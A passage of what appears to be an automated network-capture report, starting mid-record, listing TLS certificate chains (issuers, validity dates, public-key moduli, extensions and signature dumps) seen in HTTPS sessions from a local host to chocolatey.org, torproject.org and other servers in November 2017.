CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl3.digicert.com/Omniroot2025.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 77 77 77 2E 64 69 ..https://www.di0010: 67 69 63 65 72 74 2E 63 6F 6D 2F 43 50 53 gicert.com/CPS]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth OCSPSigning][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 08 FE 25 9F 74 EA 87 04 C2 BC BB 8E A8 38 5F 33 ..%.t........8_30010: C6 D1 6C 65 ..le]]] Algorithm: [SHA256withRSA] Signature:0000: 3E F2 CF 30 A5 7A BF 1E 6A DF 39 58 18 28 3C C3 >..0.z..j.9X.(<.0010: 9D EE E7 81 C5 4B FC 67 F6 BF 1F 4E 37 DA DE F0 .....K.g...N7...0020: AF EE 8A F9 03 7B 60 67 74 C7 3B DA FF 2B 4A EB ......`gt.;..+J.0030: FD 54 75 13 8B E5 C2 81 12 BA 52 12 20 BA 29 8A .Tu.......R. .).0040: 3A CD 43 24 CC D5 17 05 FE 9C 16 3F 73 E0 6D 41 :.C$.......?s.mA0050: C0 76 3D F2 AB 48 C5 59 62 64 BA 44 4F 0A 18 82 .v=..H.Ybd.DO...0060: 3F 41 EA 3F 18 3A 58 E7 A0 30 57 75 F5 D1 6A 31 ?A.?.:X..0Wu..j10070: 14 B6 94 99 65 DA B6 E8 01 DE E4 AB FB B5 F3 E5 ....e...........0080: 19 0A 18 5F A4 02 57 DE B6 5C 26 6F 73 FE 2E 09 ..._..W..\&os...0090: F5 08 43 C4 0F C7 24 7F 9D 28 67 65 A1 DC 5B F0 ..C...$..(ge..[.00A0: 3A FD F8 70 85 E7 A5 4F 24 DE 42 3F 1D 44 3B 5D :..p...O$.B?.D;]00B0: 85 06 85 1D 1E 1C D4 D9 4E 51 E4 FD 1E 11 16 CC ........NQ......00C0: 9E 00 D9 97 1A 97 E3 65 C7 86 35 1B 53 76 BE 32 .......e..5.Sv.200D0: D1 2C 41 49 4B A3 3E 93 0C 5B 77 57 07 30 3C 35 .,AIK.>..[wW.0<500E0: 8B 8C D1 69 A2 27 FA 55 E8 AB 9D 10 1E D1 17 DF ...i.'.U........00F0: BA 6C 89 D3 C9 5B D7 0B 94 88 A9 D8 B4 95 D7 8E .l...[..........]
Nov 27, 2017 12:34:06.724241018 CET	443	49161	93.184.221.200	192.168.1.91	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri May 12 20:46:00 CEST 2000	Tue May 13 01:59:00 CEST 2025	[[ Version: V3 Subject: CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 2048 bits modulus: 20579176651421167987106471718888186309534186253587759121109122482694167416584428920295678216035822449451639581023765122994089008826314029843654807108803739729565431642116323937940944378450034252354609020536286175863324156219063038927409933070688727356676027216359532593504366119272034244698731524943132462329205729047681997715455240148827523651706429854757422624117805863121520494307655271426986078917217383478420381375139154341613794371303682232583316393601620034638044186782252195438345309455714637508276892061355357785328168602107026282695945834955006612147350315937204256563720794300123948598669913435346712336953 public exponent: 65537 Validity: [From: Fri May 12 20:46:00 CEST 2000, To: Tue May 13 01:59:00 CEST 2025] Issuer: CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE SerialNumber: [ 020000b9]Certificate Extensions: 3[1]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:3][2]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ Key_CertSign Crl_Sign][3]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E5 9D 59 30 82 47 58 CC AC FA 08 54 36 86 7B 3A ..Y0.GX....T6..:0010: B5 04 4D F0 ..M.]]] Algorithm: [SHA1withRSA] Signature:0000: 85 0C 5D 8E E4 6F 51 68 42 05 A0 DD BB 4F 27 25 ..]..oQhB....O'%0010: 84 03 BD F7 64 FD 2D D7 30 E3 A4 10 17 EB DA 29 ....d.-.0......)0020: 29 B6 79 3F 76 F6 19 13 23 B8 10 0A F9 58 A4 D4 ).y?v...#....X..0030: 61 70 BD 04 61 6A 12 8A 17 D5 0A BD C5 BC 30 7C ap..aj........0.0040: D6 E9 0C 25 8D 86 40 4F EC CC A3 7E 38 C6 37 11 ...%..@O....8.7.0050: 4F ED DD 68 31 8E 4C D2 B3 01 74 EE BE 75 5E 07 O..h1.L...t..u^.0060: 48 1A 7F 70 FF 16 5C 84 C0 79 85 B8 05 FD 7F BE H..p..\..y......0070: 65 11 A3 0F C0 02 B4 F8 52 37 39 04 D5 A9 31 7A e.......R79...1z0080: 18 BF A0 2A F4 12 99 F7 A3 45 82 E3 3C 5E F5 9D ...*.....E..<^..0090: 9E B5 C8 9E 7C 2E C8 A4 9E 4E 08 14 4B 6D FD 70 .........N..Km.p00A0: 6D 6B 1A 63 BD 64 E6 1F B7 CE F0 F2 9F 2E BB 1B mk.c.d..........00B0: B7 F2 50 88 73 92 C2 E2 E3 16 8D 9A 32 02 AB 8E ..P.s.......2...00C0: 18 DD E9 10 11 EE 7E 35 AB 90 AF 3E 30 94 7A D0 .......5...>0.z.00D0: 33 3D A7 65 0F F5 FC 8E 9E 62 CF 47 44 2C 01 5D 3=.e.....b.GD,.]00E0: BB 1D B5 32 D2 47 D2 38 2E D0 FE 81 DC 32 6A 1E ...2.G.8.....2j.00F0: B5 EE 3C D5 FC E7 81 1D 19 C3 24 42 EA 63 39 A9 ..<.......$B.c9.]
Nov 27, 2017 12:34:19.164030075 CET	443	49162	104.20.73.28	192.168.1.91	CN=*.chocolatey.org, OU=Domain Control Validated	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Wed May 03 19:25:01 CEST 2017	Fri May 03 19:25:01 CEST 2019	[[ Version: V3 Subject: CN=.chocolatey.org, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 17573337295049541813958170681744400296488511874208013844341604406961759529870679585139964495948164373655029777090230768232990614615975576084432432630372591262275896392446828158125449193209086619137642947146718285534394983952622679962569055913621916583536464671433041317929326690556235927524936884838283415435263790998311567227642849257889405310234611341473574402100779277290285357662074760654355625365307879742097966779900390651288605797105653863261768741800594955500267067264703804045409424931813183367284421993101398394697189985851317637985544294377506263164238192708803297666961205263361780825645552196455587290109 public exponent: 65537 Validity: [From: Wed May 03 19:25:01 CEST 2017, To: Fri May 03 19:25:01 CEST 2019] Issuer: CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US SerialNumber: [ 518fa406 3fe8c5d5]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.godaddy.com/, accessMethod: caIssuers accessLocation: URIName: http://certificates.godaddy.com/repository/gdig2.crt]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 40 C2 BD 27 8E CC 34 83 30 A2 33 D7 FB 6C B3 F0 @..'..4.0.3..l..0010: B4 2C 80 CE .,..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.godaddy.com/gdig2s1-499.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.16.840.1.114413.1.7.23.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 2B 68 74 74 70 3A 2F 2F 63 65 72 74 69 66 69 .+http://certifi0010: 63 61 74 65 73 2E 67 6F 64 61 64 64 79 2E 63 6F cates.godaddy.co0020: 6D 2F 72 65 70 6F 73 69 74 6F 72 79 2F m/repository/]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .chocolatey.org DNSName: chocolatey.org][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: B5 42 E1 9A 29 79 7D A8 3D D6 FA 68 D0 E8 F1 67 .B..)y..=..h...g0010: 54 09 4E 9E T.N.]]] Algorithm: [SHA256withRSA] Signature:0000: 2A 2F 61 86 EA 49 24 51 2B 39 D8 73 AF F7 B1 4A /a..I$Q+9.s...J0010: D2 F6 56 92 BE 20 E9 1D C0 04 55 72 BB 2F E1 87 ..V.. ....Ur./..0020: 86 58 D7 4C 8B DC 63 A7 9D 07 49 43 9B CB 28 9F .X.L..c...IC..(.0030: D3 8B BF C2 9C BB 20 1E E5 A5 1C 4B 89 7D 2A 91 ...... ....K...0040: 09 A5 96 38 66 15 9B 71 63 83 D8 BA B2 2F CE 17 ...8f..qc..../..0050: C1 49 13 AE 55 86 72 72 96 33 3C 21 F6 C5 FB DE .I..U.rr.3<!....0060: EA 3C EB 01 E6 73 6B 61 8A 23 77 FC 66 FE A4 56 .<...ska.#w.f..V0070: A7 14 A4 AF FC 63 FC 2C 61 82 F1 3C 74 0E 36 42 .....c.,a..<t.6B0080: E0 78 00 7E FF 6B 84 94 B0 52 FC B7 2E 27 26 C7 .x...k...R...'&.0090: 0C 6E 80 C2 78 C9 F6 65 B2 ED 70 42 E1 B8 8D 4F .n..x..e..pB...O00A0: 46 84 24 6C 3D 09 15 55 76 6F 24 08 7D C1 BB E3 F.$l=..Uvo$.....00B0: 12 25 1A F6 5C 32 7B D3 95 4D 7C 19 51 EF C1 01 .%..\2...M..Q...00C0: 02 F8 1C 95 F7 DC D8 B6 D8 87 1A 7F 5B 51 67 E9 ............[Qg.00D0: 72 BE A8 43 13 54 41 9F F9 F8 A8 B1 4E 35 F2 48 r..C.TA.....N5.H00E0: DD EE 23 CC 04 F3 C5 F0 54 83 73 44 51 04 1F E9 ..#.....T.sDQ...00F0: 84 F0 92 17 D7 50 20 18 1F B9 A6 09 20 BD 03 95 .....P ..... ...]
Nov 27, 2017 12:34:19.164030075 CET	443	49162	104.20.73.28	192.168.1.91	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031	[[ Version: V3 Subject: CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 23464936089672074238558227240738642188401652750559322139110223472800898724452171193507830144175059459702529905676615071074993228771373136540482674196545025295733738196449583666610315977490986925474739841268554665863093665527055011951462798054655387514678326260004075182975117421140397782473200702068600919372009187240660911098390145147467211797777009862056159391483377819086435980778585967055870497149033762110952962582355410428105094882392320868563187123866160347835848217107617930191075074037337201254401445272297107644739005851884807909929228393436982535239808806968215135043030563617161016982313909247836020691707 public exponent: 65537 Validity: [From: Tue May 03 09:00:00 CEST 2011, To: Sat May 03 09:00:00 CEST 2031] Issuer: CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US SerialNumber: [ 07]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.godaddy.com/]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 3A 9A 85 07 10 67 28 B6 EF F6 BD 05 41 6E 20 C1 :....g(.....An .0010: 94 DA 0F DE ....]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.godaddy.com/gdroot-g2.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 25 68 74 74 70 73 3A 2F 2F 63 65 72 74 73 2E .%https://certs.0010: 67 6F 64 61 64 64 79 2E 63 6F 6D 2F 72 65 70 6F godaddy.com/repo0020: 73 69 74 6F 72 79 2F sitory/]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 40 C2 BD 27 8E CC 34 83 30 A2 33 D7 FB 6C B3 F0 @..'..4.0.3..l..0010: B4 2C 80 CE .,..]]] Algorithm: [SHA256withRSA] Signature:0000: 08 7E 6C 93 10 C8 38 B8 96 A9 90 4B FF A1 5F 4F ..l...8....K.._O0010: 04 EF 6C 3E 9C 88 06 C9 50 8F A6 73 F7 57 31 1B ..l>....P..s.W1.0020: BE BC E4 2F DB F8 BA D3 5B E0 B4 E7 E6 79 62 0E .../....[....yb.0030: 0C A2 D7 6A 63 73 31 B5 F5 A8 48 A4 3B 08 2D A2 ...jcs1...H.;.-.0040: 5D 90 D7 B4 7C 25 4F 11 56 30 C4 B6 44 9D 7B 2C ]....%O.V0..D..,0050: 9D E5 5E E6 EF 0C 61 AA BF E4 2A 1B EE 84 9E B8 ..^...a........0060: 83 7D C1 43 CE 44 A7 13 70 0D 91 1F F4 C8 13 AD ...C.D..p.......0070: 83 60 D9 D8 72 A8 73 24 1E B5 AC 22 0E CA 17 89 .`..r.s$..."....0080: 62 58 44 1B AB 89 25 01 00 0F CD C4 1B 62 DB 51 bXD...%......b.Q0090: B4 D3 0F 51 2A 9B F4 BC 73 FC 76 CE 36 A4 CD D9 ...Q...s.v.6...00A0: D8 2C EA AE 9B F5 2A B2 90 D1 4D 75 18 8A 3F 8A .,....*...Mu..?.00B0: 41 90 23 7D 5B 4B FE A4 03 58 9B 46 B2 C3 60 60 A.#.[K...X.F..``00C0: 83 F8 7D 50 41 CE C2 A1 90 C3 BB EF 02 2F D2 15 ...PA......../..00D0: 54 EE 44 15 D9 0A AE A7 8A 33 ED B1 2D 76 36 26 T.D......3..-v6&00E0: DC 04 EB 9F F7 61 1F 15 DC 87 6F EE 46 96 28 AD .....a....o.F.(.00F0: A1 26 7D 0A 09 A7 2E 04 A3 8D BC F8 BC 04 30 01 .&............0.]
Nov 27, 2017 12:34:19.164030075 CET	443	49162	104.20.73.28	192.168.1.91	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031	[[ Version: V3 Subject: CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 24167427464505360470820084102544159780721800580815755821942541313685849243170608123266960399377040734093363378001913640372075758182560568293779974003207259616905465476409968651029104721804687140009095282235664291608481757006801631585235100187261305088538393609873332994641418673866781518963343337176362242808013099393015850452689876172098539782278811542282723984447275481973602854284857098397594038442417214202774541180584378459626040737239824794520897114133793884872625034414025897997798064801393507265260579064062354407517444727896235980463778378530561727249711443261565147692841071892608175158442558267639370866759 public exponent: 65537 Validity: [From: Wed Jan 01 08:00:00 CET 2014, To: Fri May 30 09:00:00 CEST 2031] Issuer: OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US SerialNumber: [ 1be715]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.godaddy.com/]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: D2 C4 B0 D2 91 D4 4C 11 71 B3 61 CB 3D A1 FE DD ......L.q.a.=...0010: A8 6A D4 E3 .j..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.godaddy.com/gdroot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 25 68 74 74 70 73 3A 2F 2F 63 65 72 74 73 2E .%https://certs.0010: 67 6F 64 61 64 64 79 2E 63 6F 6D 2F 72 65 70 6F godaddy.com/repo0020: 73 69 74 6F 72 79 2F sitory/]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 3A 9A 85 07 10 67 28 B6 EF F6 BD 05 41 6E 20 C1 :....g(.....An .0010: 94 DA 0F DE ....]]] Algorithm: [SHA256withRSA] Signature:0000: 59 0B 53 BD 92 86 11 A7 24 7B ED 5B 31 CF 1D 1F Y.S.....$..[1...0010: 6C 70 C5 B8 6E BE 4E BB F6 BE 97 50 E1 30 7F BA lp..n.N....P.0..0020: 28 5C 62 94 C2 E3 7E 33 F7 FB 42 76 85 DB 95 1C (\b....3..Bv....0030: 8C 22 58 75 09 0C 88 65 67 39 0A 16 09 C5 A0 38 ."Xu...eg9.....80040: 97 A4 C5 23 93 3F B4 18 A6 01 06 44 91 E3 A7 69 ...#.?.....D...i0050: 27 B4 5A 25 7F 3A B7 32 CD DD 84 FF 2A 38 29 33 '.Z%.:.2....8)30060: A4 DD 67 B2 85 FE A1 88 20 1C 50 89 C8 DC 2A F6 ..g..... .P....0070: 42 03 37 4C E6 88 DF D5 AF 24 F2 B1 C3 DF CC B5 B.7L.....$......0080: EC E0 99 5E B7 49 54 20 3C 94 18 0C C7 1C 52 18 ...^.IT <.....R.0090: 49 A4 6D E1 B3 58 0B C9 D8 EC D9 AE 1C 32 8E 28 I.m..X.......2.(00A0: 70 0D E2 FE A6 17 9E 84 0F BD 57 70 B3 5A E9 1F p.........Wp.Z..00B0: A0 86 53 BB EF 7C FF 69 0B E0 48 C3 B7 93 0B C8 ..S....i..H.....00C0: 0A 54 C4 AC 5D 14 67 37 6C CA A5 2F 31 08 37 AA .T..].g7l../1.7.00D0: 6E 6F 8C BC 9B E2 57 5D 24 81 AF 97 97 9C 84 AD no....W]$.......00E0: 6C AC 37 4C 66 F3 61 91 11 20 E4 BE 30 9F 7A A4 l.7Lf.a.. ..0.z.00F0: 29 09 B0 E1 34 5F 64 77 18 40 51 DF 8C 30 A6 AF )...4_dw.@Q..0..]
Nov 27, 2017 12:34:29.449462891 CET	443	49165	89.45.235.21	192.168.1.91	CN=*.torproject.org, O="The Tor Project, Inc.", L=Cambridge, ST=Massachusetts, C=US	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Fri Apr 15 02:00:00 CEST 2016	Wed May 29 14:00:00 CEST 2019	[[ Version: V3 Subject: CN=.torproject.org, O="The Tor Project, Inc.", L=Cambridge, ST=Massachusetts, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 23118980537105529382668377645005859421580743393197042050929939708580425664266364873778579153776797037728607310545315884892001661496419524397753252169110989067138269431948017085788245766422389423115544396120200563070047981296456118668534285320920060595039275420454858011364616585564033071572110055718144174675128739337100373762896374330629215789797242824813340300065577116489586981476891621270906100811283894048066134493134574663244234401888604219131805273416496595532483210337940133141808719229466228968192097680159348714865283107618489412380535187710652714467613102243504987485829101601231271588874556956411966855111 public exponent: 65537 Validity: [From: Fri Apr 15 02:00:00 CEST 2016, To: Wed May 29 14:00:00 CEST 2019] Issuer: CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US SerialNumber: [ 0c69d599 aa475df6 b79bda18 42add641]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.digicert.com, accessMethod: caIssuers accessLocation: URIName: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 51 68 FF 90 AF 02 07 75 3C CC D9 65 64 62 A2 12 Qh.....u<..edb..0010: B8 59 72 3B .Yr;]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl3.digicert.com/sha2-ha-server-g5.crl], DistributionPoint: [URIName: http://crl4.digicert.com/sha2-ha-server-g5.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.16.840.1.114412.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 77 77 77 2E 64 69 ..https://www.di0010: 67 69 63 65 72 74 2E 63 6F 6D 2F 43 50 53 gicert.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.2][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .torproject.org DNSName: torproject.org][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 82 26 08 F1 13 29 55 34 14 B4 8F 80 1D 71 B8 60 .&...)U4.....q.`0010: DA 4B 41 CC .KA.]]] Algorithm: [SHA256withRSA] Signature:0000: B0 51 14 83 37 6E 61 D3 72 F8 70 DF 3E 14 58 BA .Q..7na.r.p.>.X.0010: 65 BC CF 3B 12 21 F0 68 0B 2A 58 C5 DA 73 BF A9 e..;.!.h.X..s..0020: 6F 20 8C A2 0E 52 03 62 CD FF 7D 96 C9 E7 ED 86 o ...R.b........0030: 98 3C 2A FC 5B D2 19 40 1A 7A E1 A5 AC 5B 0B 96 .<.[..@.z...[..0040: 67 7C 3C 6D 18 64 94 50 A6 80 78 43 15 E2 C2 AA g.<m.d.P..xC....0050: 64 9C 63 0C 58 94 29 92 2F 6A 91 7B C0 EE B3 8B d.c.X.)./j......0060: 7C 03 1B 1E EC B1 27 8B A2 9C 38 50 37 0E DB 2C ......'...8P7..,0070: 73 73 00 8E FD F4 70 4B C6 26 BB B4 99 CA 20 A0 ss....pK.&.... .0080: C8 7C 3B 4E 21 99 66 5F 0B 51 22 C8 12 C3 0D BE ..;N!.f_.Q".....0090: 66 06 18 A3 B4 C3 7E 49 B3 50 4A BE 77 99 95 93 f......I.PJ.w...00A0: 80 C5 E1 96 E5 57 A7 8F 19 F1 14 EB 39 D2 C9 D3 .....W......9...00B0: 70 2B 02 1D A0 7E 93 8B 53 3D DE 1A 6C A7 A5 31 p+......S=..l..100C0: 4F CF E9 77 57 7C 91 1F 2A 1E 58 58 99 51 B9 B4 O..wW...*.XX.Q..00D0: 78 F9 F1 D4 7C 9E 35 1D E8 9C C3 49 0B FB 5B 60 x.....5....I..[`00E0: 80 4D A3 3F ED 20 43 E9 16 A2 75 3F 70 13 F2 AF .M.?. C...u?p...00F0: AE CB F3 90 47 80 C4 A0 6D DF DD 2C AA D6 90 46 ....G...m..,...F]
Nov 27, 2017 12:34:29.449462891 CET	443	49165	89.45.235.21	192.168.1.91	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 22 14:00:00 CEST 2013	Sun Oct 22 14:00:00 CEST 2028	[[ Version: V3 Subject: CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 23085922014910748503624791917480115148492919026914207610707020942093828159221184419960399297678177590153378092714640886296044490661625022319263060388275515964365478738040978664516396912933675650257207760237777280773935047177225664304566903694731631728916260237117586511459590661362255543750987738241463266555577715629664656907640120826399947323444556799362651693283202076722872218490347588587929811327918605576169523712767591239193274840826201053308722900104999956283622772648025895714833602740679819670062830777938157004975732087864164660384513848296643542134747514357423990884765641067184766081973460304136714018531 public exponent: 65537 Validity: [From: Tue Oct 22 14:00:00 CEST 2013, To: Sun Oct 22 14:00:00 CEST 2028] Issuer: CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US SerialNumber: [ 04e1e7a4 dc5cf2f3 6dc02b42 b85d159f]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.digicert.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: B1 3E C3 69 03 F8 BF 47 01 D4 98 26 1A 08 02 EF .>.i...G...&....0010: 63 64 2B C3 cd+.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 77 77 77 2E 64 69 ..https://www.di0010: 67 69 63 65 72 74 2E 63 6F 6D 2F 43 50 53 gicert.com/CPS]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 51 68 FF 90 AF 02 07 75 3C CC D9 65 64 62 A2 12 Qh.....u<..edb..0010: B8 59 72 3B .Yr;]]] Algorithm: [SHA256withRSA] Signature:0000: 18 8A 95 89 03 E6 6D DF 5C FC 1D 68 EA 4A 8F 83 ......m.\..h.J..0010: D6 51 2F 8D 6B 44 16 9E AC 63 F5 D2 6E 6C 84 99 .Q/.kD...c..nl..0020: 8B AA 81 71 84 5B ED 34 4E B0 B7 79 92 29 CC 2D ...q.[.4N..y.).-0030: 80 6A F0 8E 20 E1 79 A4 FE 03 47 13 EA F5 86 CA .j.. .y...G.....0040: 59 71 7D F4 04 96 6B D3 59 58 3D FE D3 31 25 5C Yq....k.YX=..1%\0050: 18 38 84 A3 E6 9F 82 FD 8C 5B 98 31 4E CD 78 9E .8.......[.1N.x.0060: 1A FD 85 CB 49 AA F2 27 8B 99 72 FC 3E AA D5 41 ....I..'..r.>..A0070: 0B DA D5 36 A1 BF 1C 6E 47 49 7F 5E D9 48 7C 03 ...6...nGI.^.H..0080: D9 FD 8B 49 A0 98 26 42 40 EB D6 92 11 A4 64 0A ...I..&B@.....d.0090: 57 54 C4 F5 1D D6 02 5E 6B AC EE C4 80 9A 12 72 WT.....^k......r00A0: FA 56 93 D7 FF BF 30 85 06 30 BF 0B 7F 4E FF 57 .V....0..0...N.W00B0: 05 9D 24 ED 85 C3 2B FB A6 75 A8 AC 2D 16 EF 7D ..$...+..u..-...00C0: 79 27 B2 EB C2 9D 0B 07 EA AA 85 D3 01 A3 20 28 y'............ (00D0: 41 59 43 28 D2 81 E3 AA F6 EC 7B 3B 77 B6 40 62 AYC(.......;w.@b00E0: 80 05 41 45 01 EF 17 06 3E DE C0 33 9B 67 D3 61 ..AE....>..3.g.a00F0: 2E 72 87 E4 69 FC 12 00 57 40 1E 70 F5 1E C9 B4 .r..i...W@.p....]
